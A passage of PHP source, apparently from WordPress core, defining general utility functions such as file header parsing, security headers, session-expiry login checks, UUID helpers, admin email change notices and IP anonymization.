* Retrieve metadata from a file.
*
* Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
* Each piece of metadata must be on its own line. Fields can not span multiple
* lines, the value will get cut at the end of the first line.
*
* If the file data is not within that first 8kiB, then the author should correct
* their plugin file and move the data headers to the top.
*
* @link https://codex.wordpress.org/File_Header
*
* @since 2.9.0
*
* @param string $file Path to the file.
* @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name').
* @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
* Default empty.
* @return array Array of file headers in `HeaderKey => Header Value` format.
*/
function get_file_data( $file, $default_headers, $context = '' ) {
// We don't need to write to the file, so just open for reading.
$fp = fopen( $file, 'r' );
// Pull only the first 8kiB of the file in.
$file_data = fread( $fp, 8192 );
// PHP will close file handle, but we are good citizens.
fclose( $fp );
// Make sure we catch CR-only line endings.
$file_data = str_replace( "\r", "\n", $file_data );
/**
* Filters extra file headers by context.
*
* The dynamic portion of the hook name, `$context`, refers to
* the context where extra headers might be loaded.
*
* @since 2.9.0
*
* @param array $extra_context_headers Empty array by default.
*/
if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
$extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
$all_headers = array_merge( $extra_headers, (array) $default_headers );
} else {
$all_headers = $default_headers;
}
foreach ( $all_headers as $field => $regex ) {
if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )
$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
else
$all_headers[ $field ] = '';
}
return $all_headers;
}
/**
* Returns true.
*
* Useful for returning true to filters easily.
*
* @since 3.0.0
*
* @see __return_false()
*
* @return true True.
*/
function __return_true() {
return true;
}
/**
* Returns false.
*
* Useful for returning false to filters easily.
*
* @since 3.0.0
*
* @see __return_true()
*
* @return false False.
*/
function __return_false() {
return false;
}
/**
* Returns 0.
*
* Useful for returning 0 to filters easily.
*
* @since 3.0.0
*
* @return int 0.
*/
function __return_zero() {
return 0;
}
/**
* Returns an empty array.
*
* Useful for returning an empty array to filters easily.
*
* @since 3.0.0
*
* @return array Empty array.
*/
function __return_empty_array() {
return array();
}
/**
* Returns null.
*
* Useful for returning null to filters easily.
*
* @since 3.4.0
*
* @return null Null value.
*/
function __return_null() {
return null;
}
/**
* Returns an empty string.
*
* Useful for returning an empty string to filters easily.
*
* @since 3.7.0
*
* @see __return_null()
*
* @return string Empty string.
*/
function __return_empty_string() {
return '';
}
/**
* Send a HTTP header to disable content type sniffing in browsers which support it.
*
* @since 3.0.0
*
* @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
* @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
*/
function send_nosniff_header() {
@header( 'X-Content-Type-Options: nosniff' );
}
/**
* Return a MySQL expression for selecting the week number based on the start_of_week option.
*
* @ignore
* @since 3.0.0
*
* @param string $column Database column.
* @return string SQL clause.
*/
function _wp_mysql_week( $column ) {
switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
case 1 :
return "WEEK( $column, 1 )";
case 2 :
case 3 :
case 4 :
case 5 :
case 6 :
return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
case 0 :
default :
return "WEEK( $column, 0 )";
}
}
/**
* Find hierarchy loops using a callback function that maps object IDs to parent IDs.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ).
* Use null to always use $callback
* @param array $callback_args Optional. Additional arguments to send to $callback.
* @return array IDs of all members of loop.
*/
function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )
return array();
return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
}
/**
* Use the "The Tortoise and the Hare" algorithm to detect loops.
*
* For every step of the algorithm, the hare takes two steps and the tortoise one.
* If the hare ever laps the tortoise, there must be a loop.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
* Default empty array.
* @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.
* @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set
* to true if you already know the given $start is part of a loop (otherwise
* the returned array might include branches). Default false.
* @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
* $_return_loop
*/
function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
$tortoise = $hare = $evanescent_hare = $start;
$return = array();
// Set evanescent_hare to one past hare
// Increment hare two steps
while (
$tortoise
&&
( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
&&
( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
) {
if ( $_return_loop )
$return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;
// tortoise got lapped - must be a loop
if ( $tortoise == $evanescent_hare || $tortoise == $hare )
return $_return_loop ? $return : $tortoise;
// Increment tortoise by one step
$tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
}
return false;
}
/**
* Send a HTTP header to limit rendering of pages to same origin iframes.
*
* @since 3.1.3
*
* @see https://developer.mozilla.org/en/the_x-frame-options_response_header
*/
function send_frame_options_header() {
@header( 'X-Frame-Options: SAMEORIGIN' );
}
/**
* Retrieve a list of protocols to allow in HTML attributes.
*
* @since 3.3.0
* @since 4.3.0 Added 'webcal' to the protocols array.
* @since 4.7.0 Added 'urn' to the protocols array.
*
* @see wp_kses()
* @see esc_url()
*
* @staticvar array $protocols
*
* @return array Array of allowed protocols. Defaults to an array containing 'http', 'https',
* 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet',
* 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'.
*/
function wp_allowed_protocols() {
static $protocols = array();
if ( empty( $protocols ) ) {
$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
}
if ( ! did_action( 'wp_loaded' ) ) {
/**
* Filters the list of protocols allowed in HTML attributes.
*
* @since 3.0.0
*
* @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
*/
$protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
}
return $protocols;
}
/**
* Return a comma-separated string of functions that have been called to get
* to the current point in code.
*
* @since 3.4.0
*
* @see https://core.trac.wordpress.org/ticket/19589
*
* @param string $ignore_class Optional. A class to ignore all function calls within - useful
* when you want to just give info about the callee. Default null.
* @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding
* back to the source of the issue. Default 0.
* @param bool $pretty Optional. Whether or not you want a comma separated string or raw
* array returned. Default true.
* @return string|array Either a string containing a reversed comma separated trace or an array
* of individual calls.
*/
function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )
$trace = debug_backtrace( false );
else
$trace = debug_backtrace();
$caller = array();
$check_class = ! is_null( $ignore_class );
$skip_frames++; // skip this function
foreach ( $trace as $call ) {
if ( $skip_frames > 0 ) {
$skip_frames--;
} elseif ( isset( $call['class'] ) ) {
if ( $check_class && $ignore_class == $call['class'] )
continue; // Filter out calls
$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
} else {
if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {
$caller[] = "{$call['function']}('{$call['args'][0]}')";
} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
$caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";
} else {
$caller[] = $call['function'];
}
}
}
if ( $pretty )
return join( ', ', array_reverse( $caller ) );
else
return $caller;
}
/**
* Retrieve ids that are not already present in the cache.
*
* @since 3.4.0
* @access private
*
* @param array $object_ids ID list.
* @param string $cache_key The cache bucket to check against.
*
* @return array List of ids not present in the cache.
*/
function _get_non_cached_ids( $object_ids, $cache_key ) {
$clean = array();
foreach ( $object_ids as $id ) {
$id = (int) $id;
if ( !wp_cache_get( $id, $cache_key ) ) {
$clean[] = $id;
}
}
return $clean;
}
/**
* Test if the current device has the capability to upload files.
*
* @since 3.4.0
* @access private
*
* @return bool Whether the device is able to upload files.
*/
function _device_can_upload() {
if ( ! wp_is_mobile() )
return true;
$ua = $_SERVER['HTTP_USER_AGENT'];
if ( strpos($ua, 'iPhone') !== false
|| strpos($ua, 'iPad') !== false
|| strpos($ua, 'iPod') !== false ) {
return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
}
return true;
}
/**
* Test if a given path is a stream URL
*
* @since 3.5.0
*
* @param string $path The resource path or URL.
* @return bool True if the path is a stream URL.
*/
function wp_is_stream( $path ) {
if ( false === strpos( $path, '://' ) ) {
// $path isn't a stream
return false;
}
$wrappers = stream_get_wrappers();
$wrappers = array_map( 'preg_quote', $wrappers );
$wrappers_re = '(' . join( '|', $wrappers ) . ')';
return preg_match( "!^$wrappers_re://!", $path ) === 1;
}
/**
* Test if the supplied date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
* @link https://secure.php.net/manual/en/function.checkdate.php
*
* @param int $month Month number.
* @param int $day Day number.
* @param int $year Year number.
* @param string $source_date The date to filter.
* @return bool True if valid date, false if not valid date.
*/
function wp_checkdate( $month, $day, $year, $source_date ) {
/**
* Filters whether the given date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
* @param bool $checkdate Whether the given date is valid.
* @param string $source_date Date to check.
*/
return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
}
/**
* Load the auth check for monitoring whether the user is still logged in.
*
* Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
*
* This is disabled for certain screens where a login screen could cause an
* inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
* for fine-grained control.
*
* @since 3.6.0
*/
function wp_auth_check_load() {
if ( ! is_admin() && ! is_user_logged_in() )
return;
if ( defined( 'IFRAME_REQUEST' ) )
return;
$screen = get_current_screen();
$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
$show = ! in_array( $screen->id, $hidden );
/**
* Filters whether to load the authentication check.
*
* Passing a falsey value to the filter will effectively short-circuit
* loading the authentication check.
*
* @since 3.6.0
*
* @param bool $show Whether to load the authentication check.
* @param WP_Screen $screen The current screen object.
*/
if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
wp_enqueue_style( 'wp-auth-check' );
wp_enqueue_script( 'wp-auth-check' );
add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
}
}
/**
* Output the HTML that shows the wp-login dialog when the user is no longer logged in.
*
* @since 3.6.0
*/
function wp_auth_check_html() {
$login_url = wp_login_url();
$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
$same_domain = ( strpos( $login_url, $current_domain ) === 0 );
/**
* Filters whether the authentication check originated at the same domain.
*
* @since 3.6.0
*
* @param bool $same_domain Whether the authentication check originated at the same domain.
*/
$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
$wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
?>
<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
<div id="wp-auth-check-bg"></div>
<div id="wp-auth-check">
<button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"><?php _e( 'Close dialog' ); ?></span></button>
<?php
if ( $same_domain ) {
$login_src = add_query_arg( array(
'interim-login' => '1',
'wp_lang' => get_user_locale(),
), $login_url );
?>
<div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
<?php
}
?>
<div class="wp-auth-fallback">
<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e('Session expired'); ?></b></p>
<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e('Please log in again.'); ?></a>
<?php _e('The login page will open in a new window. After logging in you can close it and return to this page.'); ?></p>
</div>
</div>
</div>
<?php
}
/**
* Check whether a user is still logged in, for the heartbeat.
*
* Send a result that shows a log-in box if the user is no longer logged in,
* or if their cookie is within the grace period.
*
* @since 3.6.0
*
* @global int $login_grace_period
*
* @param array $response The Heartbeat response.
* @return array $response The Heartbeat response with 'wp-auth-check' value set.
*/
function wp_auth_check( $response ) {
$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
return $response;
}
/**
* Return RegEx body to liberally match an opening HTML tag.
*
* Matches an opening HTML tag that:
* 1. Is self-closing or
* 2. Has no body but has a closing tag of the same name or
* 3. Contains a body and a closing tag of the same name
*
* Note: this RegEx does not balance inner tags and does not attempt
* to produce valid HTML
*
* @since 3.6.0
*
* @param string $tag An HTML tag name. Example: 'video'.
* @return string Tag RegEx.
*/
function get_tag_regex( $tag ) {
if ( empty( $tag ) )
return;
return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
}
/**
* Retrieve a canonical form of the provided charset appropriate for passing to PHP
* functions such as htmlspecialchars() and charset html attributes.
*
* @since 3.6.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/23688
*
* @param string $charset A charset name.
* @return string The canonical form of the charset.
*/
function _canonical_charset( $charset ) {
if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset) ) {
return 'UTF-8';
}
if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) {
return 'ISO-8859-1';
}
return $charset;
}
/**
* Set the mbstring internal encoding to a binary safe encoding when func_overload
* is enabled.
*
* When mbstring.func_overload is in use for multi-byte encodings, the results from
* strlen() and similar functions respect the utf8 characters, causing binary data
* to return incorrect lengths.
*
* This function overrides the mbstring encoding to a binary-safe encoding, and
* resets it to the users expected encoding afterwards through the
* `reset_mbstring_encoding` function.
*
* It is safe to recursively call this function, however each
* `mbstring_binary_safe_encoding()` call must be followed up with an equal number
* of `reset_mbstring_encoding()` calls.
*
* @since 3.7.0
*
* @see reset_mbstring_encoding()
*
* @staticvar array $encodings
* @staticvar bool $overloaded
*
* @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
* Default false.
*/
function mbstring_binary_safe_encoding( $reset = false ) {
static $encodings = array();
static $overloaded = null;
if ( is_null( $overloaded ) )
$overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );
if ( false === $overloaded )
return;
if ( ! $reset ) {
$encoding = mb_internal_encoding();
array_push( $encodings, $encoding );
mb_internal_encoding( 'ISO-8859-1' );
}
if ( $reset && $encodings ) {
$encoding = array_pop( $encodings );
mb_internal_encoding( $encoding );
}
}
/**
* Reset the mbstring internal encoding to a users previously set encoding.
*
* @see mbstring_binary_safe_encoding()
*
* @since 3.7.0
*/
function reset_mbstring_encoding() {
mbstring_binary_safe_encoding( true );
}
/**
* Filter/validate a variable as a boolean.
*
* Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.
*
* @since 4.0.0
*
* @param mixed $var Boolean value to validate.
* @return bool Whether the value is validated.
*/
function wp_validate_boolean( $var ) {
if ( is_bool( $var ) ) {
return $var;
}
if ( is_string( $var ) && 'false' === strtolower( $var ) ) {
return false;
}
return (bool) $var;
}
/**
* Delete a file
*
* @since 4.2.0
*
* @param string $file The path to the file to delete.
*/
function wp_delete_file( $file ) {
/**
* Filters the path of the file to delete.
*
* @since 2.1.0
*
* @param string $file Path to the file to delete.
*/
$delete = apply_filters( 'wp_delete_file', $file );
if ( ! empty( $delete ) ) {
@unlink( $delete );
}
}
/**
* Deletes a file if its path is within the given directory.
*
* @since 4.9.7
*
* @param string $file Absolute path to the file to delete.
* @param string $directory Absolute path to a directory.
* @return bool True on success, false on failure.
*/
function wp_delete_file_from_directory( $file, $directory ) {
$real_file = realpath( wp_normalize_path( $file ) );
$real_directory = realpath( wp_normalize_path( $directory ) );
if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
return false;
}
wp_delete_file( $file );
return true;
}
/**
* Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload.
*
* This prevents reusing the same tab for a preview when the user has navigated away.
*
* @since 4.3.0
*
* @global WP_Post $post
*/
function wp_post_preview_js() {
global $post;
if ( ! is_preview() || empty( $post ) ) {
return;
}
// Has to match the window name used in post_submit_meta_box()
$name = 'wp-preview-' . (int) $post->ID;
?>
<script>
( function() {
var query = document.location.search;
if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
window.name = '<?php echo $name; ?>';
}
if ( window.addEventListener ) {
window.addEventListener( 'unload', function() { window.name = ''; }, false );
}
}());
</script>
<?php
}
/**
* Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601/RFC3339.
*
* Explicitly strips timezones, as datetimes are not saved with any timezone
* information. Including any information on the offset could be misleading.
*
* @since 4.4.0
*
* @param string $date_string Date string to parse and format.
* @return string Date formatted for ISO8601/RFC3339.
*/
function mysql_to_rfc3339( $date_string ) {
$formatted = mysql2date( 'c', $date_string, false );
// Strip timezone information
return preg_replace( '/(?:Z|[+-]\d{2}(?::\d{2})?)$/', '', $formatted );
}
/**
* Attempts to raise the PHP memory limit for memory intensive processes.
*
* Only allows raising the existing limit and prevents lowering it.
*
* @since 4.6.0
*
* @param string $context Optional. Context in which the function is called. Accepts either 'admin',
* 'image', or an arbitrary other context. If an arbitrary context is passed,
* the similarly arbitrary {@see '{$context}_memory_limit'} filter will be
* invoked. Default 'admin'.
* @return bool|int|string The limit that was set or false on failure.
*/
function wp_raise_memory_limit( $context = 'admin' ) {
// Exit early if the limit cannot be changed.
if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
return false;
}
$current_limit = @ini_get( 'memory_limit' );
$current_limit_int = wp_convert_hr_to_bytes( $current_limit );
if ( -1 === $current_limit_int ) {
return false;
}
$wp_max_limit = WP_MAX_MEMORY_LIMIT;
$wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
$filtered_limit = $wp_max_limit;
switch ( $context ) {
case 'admin':
/**
* Filters the maximum memory limit available for administration screens.
*
* This only applies to administrators, who may require more memory for tasks
* like updates. Memory limits when processing images (uploaded or edited by
* users of any role) are handled separately.
*
* The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
* limit available when in the administration back end. The default is 256M
* (256 megabytes of memory) or the original `memory_limit` php.ini value if
* this is higher.
*
* @since 3.0.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
* (bytes), or a shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
break;
case 'image':
/**
* Filters the memory limit allocated for image manipulation.
*
* @since 3.5.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default `WP_MAX_MEMORY_LIMIT` or the original
* php.ini `memory_limit`, whichever is higher.
* Accepts an integer (bytes), or a shorthand string
* notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
break;
default:
/**
* Filters the memory limit allocated for arbitrary contexts.
*
* The dynamic portion of the hook name, `$context`, refers to an arbitrary
* context passed on calling the function. This allows for plugins to define
* their own contexts for raising the memory limit.
*
* @since 4.6.0
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default '256M' or the original php.ini `memory_limit`,
* whichever is higher. Accepts an integer (bytes), or a
* shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
break;
}
$filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );
if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
if ( false !== @ini_set( 'memory_limit', $filtered_limit ) ) {
return $filtered_limit;
} else {
return false;
}
} elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
if ( false !== @ini_set( 'memory_limit', $wp_max_limit ) ) {
return $wp_max_limit;
} else {
return false;
}
}
return false;
}
/**
* Generate a random UUID (version 4).
*
* @since 4.7.0
*
* @return string UUID.
*/
function wp_generate_uuid4() {
return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),
mt_rand( 0, 0xffff ),
mt_rand( 0, 0x0fff ) | 0x4000,
mt_rand( 0, 0x3fff ) | 0x8000,
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
);
}
/**
* Validates that a UUID is valid.
*
* @since 4.9.0
*
* @param mixed $uuid UUID to check.
* @param int $version Specify which version of UUID to check against. Default is none, to accept any UUID version. Otherwise, only version allowed is `4`.
* @return bool The string is a valid UUID or false on failure.
*/
function wp_is_uuid( $uuid, $version = null ) {
if ( ! is_string( $uuid ) ) {
return false;
}
if ( is_numeric( $version ) ) {
if ( 4 !== (int) $version ) {
_doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
return false;
}
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
} else {
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
}
return (bool) preg_match( $regex, $uuid );
}
/**
* Get unique ID.
*
* This is a PHP implementation of Underscore's uniqueId method. A static variable
* contains an integer that is incremented with each call. This number is returned
* with the optional prefix. As such the returned value is not universally unique,
* but it is unique across the life of the PHP process.
*
* @since 5.0.3
*
* @staticvar int $id_counter
*
* @param string $prefix Prefix for the returned ID.
* @return string Unique ID.
*/
function wp_unique_id( $prefix = '' ) {
static $id_counter = 0;
return $prefix . (string) ++$id_counter;
}
/**
* Get last changed date for the specified cache group.
*
* @since 4.7.0
*
* @param string $group Where the cache contents are grouped.
*
* @return string $last_changed UNIX timestamp with microseconds representing when the group was last changed.
*/
function wp_cache_get_last_changed( $group ) {
$last_changed = wp_cache_get( 'last_changed', $group );
if ( ! $last_changed ) {
$last_changed = microtime();
wp_cache_set( 'last_changed', $last_changed, $group );
}
return $last_changed;
}
/**
* Send an email to the old site admin email address when the site admin email address changes.
*
* @since 4.9.0
*
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
* @param string $option_name The relevant database option name.
*/
function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
$send = true;
// Don't send the notification to the default 'admin_email' value.
if ( 'you@example.com' === $old_email ) {
$send = false;
}
/**
* Filters whether to send the site admin email change notification email.
*
* @since 4.9.0
*
* @param bool $send Whether to send the email notification.
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
$send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );
if ( ! $send ) {
return;
}
/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
$email_change_text = __( 'Hi,
This notice confirms that the admin email address was changed on ###SITENAME###.
The new admin email address is ###NEW_EMAIL###.
This email has been sent to ###OLD_EMAIL###
Regards,
All at ###SITENAME###
###SITEURL###' );
$email_change_email = array(
'to' => $old_email,
/* translators: Site admin email change notification email subject. %s: Site title */
'subject' => __( '[%s] Notice of Admin Email Change' ),
'message' => $email_change_text,
'headers' => '',
);
// get site name
$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
/**
* Filters the contents of the email notification sent when the site admin email address is changed.
*
* @since 4.9.0
*
* @param array $email_change_email {
* Used to build wp_mail().
*
* @type string $to The intended recipient.
* @type string $subject The subject of the email.
* @type string $message The content of the email.
* The following strings have a special meaning and will get replaced dynamically:
* - ###OLD_EMAIL### The old site admin email address.
* - ###NEW_EMAIL### The new site admin email address.
* - ###SITENAME### The name of the site.
* - ###SITEURL### The URL to the site.
* @type string $headers Headers.
* }
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
$email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );
$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
wp_mail( $email_change_email['to'], sprintf(
$email_change_email['subject'],
$site_name
), $email_change_email['message'], $email_change_email['headers'] );
}
/**
* Return an anonymized IPv4 or IPv6 address.
*
* @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
*
* @param string $ip_addr The IPv4 or IPv6 address to be anonymized.
* @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions
* to anonymize it are not present. Default false, return `::` (unspecified address).
* @return string The anonymized IP address.
*/
function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
// Detect what kind of IP address this is.
$ip_prefix = '';
$is_ipv6 = substr_count( $ip_addr, ':' ) > 1;
$is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) );
if ( $is_ipv6 && $is_ipv4 ) {
// IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
$ip_prefix = '::ffff:';
$ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
$ip_addr = str_replace( ']', '', $ip_addr );
$is_ipv6 = false;
}
if ( $is_ipv6 ) {
// IPv6 addresses will always be enclosed in [] if there's a port.
$left_bracket = strpos( $ip_addr, '[' );
$right_bracket = strpos( $ip_addr, ']' );
$percent = strpos( $ip_addr, '%' );
$netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';
// Strip the port (and [] from IPv6 addresses), if they exist.
if ( false !== $left_bracket && false !== $right_bracket ) {
$ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
} elseif ( false !== $left_bracket || false !== $right_bracket ) {
// The IP has one bracket, but not both, so it's malformed.
return '::';
}
// Strip the reachability scope.
if ( false !== $percent ) {
$ip_addr = substr( $ip_addr, 0, $percent );
}
// No invalid characters should be left.
if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
return '::';
}
// Partially anonymize the IP by reducing it to the corresponding network ID.
if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
$ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
if ( false === $ip_addr) {
return '::';
}
} elseif ( ! $ipv6_fallback ) {
return '::';
}
} elseif ( $is_ipv4 ) {
// Strip any port and partially anonymize the IP.
$last_octet_position = strrpos( $ip_addr, '.' );
$ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0';
} else {
return '0.0.0.0';
}
// Restore the IPv6 prefix to compatibility mode addresses.
return $ip_prefix . $ip_addr;
}
/**
* Return uniform "anonymous" data by type.
*
* @since 4.9.6
*
* @param string $type The type of data to be anonymized.
* @param string $data Optional The data to be anonymized.
* @return string The anonymous data for the requested type.
*/
function wp_privacy_anonymize_data( $type, $data = '' ) {
switch ( $type ) {
case 'email':
$anonymous = 'deleted@site.invalid';
break;
case 'url':
$anonymous = 'https://site.invalid';
break;
case 'ip':
$anonymous = wp_privacy_anonymize_ip( $data );
break;
case 'date':
$anonymous = '0000-00-00 00:00:00';
break;
case 'text':
/* translators: deleted text */
$anonymous = __( '[deleted]' );
break;
case 'longtext':
/* translators: deleted long text */
$anonymous = __( 'This content was deleted by the author.' );
break;
default:
$anonymous = '';
}
/**
* Filters the anonymous data for each type.
*
* @since 4.9.6
*
* @param string $anonymous Anonymized data.
* @param string $type Type of the data.
* @param string $data Original data.
*/
return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
}
/**
* Returns the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_url
*
* @return string Exports directory.
*/
function wp_privacy_exports_dir() {
$upload_dir = wp_upload_dir();
$exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';
/**
* Filters the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_dir Exports directory.
*/
return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
}
/**
* Returns the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_dir
*
* @return string Exports directory URL.
*/
function wp_privacy_exports_url() {
$upload_dir = wp_upload_dir();
$exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';
/**
